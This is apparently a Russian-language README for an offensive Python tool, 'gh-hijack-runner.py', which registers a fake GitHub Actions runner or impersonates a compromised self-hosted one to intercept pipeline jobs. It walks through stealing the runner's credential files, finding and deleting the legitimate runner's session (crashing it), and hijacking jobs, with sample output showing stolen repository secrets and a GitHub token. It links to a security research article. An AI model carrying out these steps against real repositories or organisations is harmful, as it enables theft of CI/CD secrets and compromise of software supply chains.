
Python-скрипт для создания поддельного GitHub-раннера и перехвата заданий пайплайна с целью утечки CI/CD-секретов.
Python-скрипт для создания поддельного GitHub-раннера и перехвата заданий пайплайнов с целью кражи CI/CD секретов.
Более подробно читайте в статье: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization
Если вам удалось получить регистрационный токен или добиться удалённого выполнения кода на self-hosted GitHub-раннере, вы можете создать или перехватить GitHub-раннер. Это позволит получить доступ ко всем секретам, передаваемым этому раннеру.
Используя регистрационный токен, вы можете зарегистрировать раннер с меткой ubuntu-latest и получить доступ к заданиям, изначально предназначенным для раннеров, предоставляемых GitHub. Это позволяет скомпрометировать любой workflow, использующий этот метод.
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
$ pip install -r requirements.txt
Если вам удалось получить регистрационный токен для регистрации self-hosted раннера для репозитория или организации, вы можете зарегистрировать поддельный GitHub-раннер следующей командой:
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
Это может быть регистрационный токен как для организации, так и для репозитория.
Обладая возможностью произвольного выполнения кода на self-hosted раннере, вам нужно выкрасть три файла, чтобы выдать себя за скомпрометированный раннер:
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials
-rw------- 1 root root 1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root root 325 Apr 21 12:27 .runner
[...]
Чтобы получать задания, раннер устанавливает сессию с GitHub. Каждый раннер может поддерживать только одну сессию. Чтобы создать новую сессию, нужно удалить текущую сессию, установленную легитимным раннером. Идентификатор сессии можно найти здесь:
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.
/!\ Удаление текущей сессии приведёт к падению легитимного раннера /!\
Затем можно удалить текущую сессию:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.
Наконец, вы можете перехватить этот раннер:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
Обратите внимание: для эфемерных self-hosted раннеров это не сработает.
$ gh-hijack-runner.py --help
Hijack GitHub runners
Usage:
gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
--output <folder> Save data to output file
--runer-name <name> Runner name
--runner-group <name> Runner group name
--last-Message-id <id> Last message ID
Args:
--registration-token <token> Token used to register a runner
--url <url> Full repository or org URL
--rsa-params <rsa> Path to .credentials_rsaparams file
--credentials <credentials> Path to .credentials file
--runner <runner> Path to .runner file
--session-id <session> Already running session id
--aes-key <key> Base64 encoded AES key associated with a session id
--labels <labels> Labels used for registration (ubuntu-latest,customrunner)
--ephemeral Create ephemeral runner
--delete-session-id <session> Delete session. Warning: It will crash the related GitHub runner
Examples:
$ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
Author: @hugow